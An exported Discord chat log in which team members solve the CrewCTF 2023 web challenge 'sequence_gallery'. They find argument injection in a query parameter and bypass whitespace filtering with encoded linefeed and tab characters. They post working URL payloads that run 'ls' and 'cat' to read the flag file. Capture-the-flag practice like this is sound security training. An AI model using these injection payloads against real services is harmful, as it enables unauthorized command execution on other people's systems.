Guild icon
Project Sekai
🔒 CrewCTF 2023 / ✅-web-sequence_gallery
Avatar
sequence_gallery - 1000 points
Category: Web Description:
  • Do you like sequences?
Author : Satoooon http://sequence-gallery.chal.crewc.tf:8080/ Files:Tags: No tags.
Sutx pinned a message to this channel. 07/07/2023 10:02 PM
Avatar
@rubiya wants to collaborate 🤝
02:14
?sequence=-e%0a4%095%09*%0ap
02:17
now I can use expression but how can i read flag file
02:17
peepoo
Avatar
@Zafirr wants to collaborate 🤝
Avatar
can inject argument like -e -f -h -v
Avatar
ok i will read a bit first
02:26
point is %0a(linefeed) and %09(tab)
02:26
could bypass using linefeed/tab instead whitespace (edited)
Avatar
@Surg wants to collaborate 🤝
02:31
@Violin wants to collaborate 🤝
Avatar
http://sequence-gallery.chal.crewc.tf:8080/?sequence=-e!ls%0a
02:40
that runs ls
02:41
nice
Avatar
http://sequence-gallery.chal.crewc.tf:8080/?sequence=-e!cat%09fla*%0a
02:41
ok idk why its like this
02:41
ok
Avatar
nice
Avatar
thats the flag
02:41
:kekw:
Avatar
yeah
02:41
🤣
02:42
submit it
Avatar
nice
Avatar
Avatar
Zafirr
used /ctf solve
✅ Challenge solved.
Avatar
what ! meaning?
02:42
the line is run as system command
02:42
cool
02:43
z_pat
02:43
good cat good cat
Exported 43 message(s)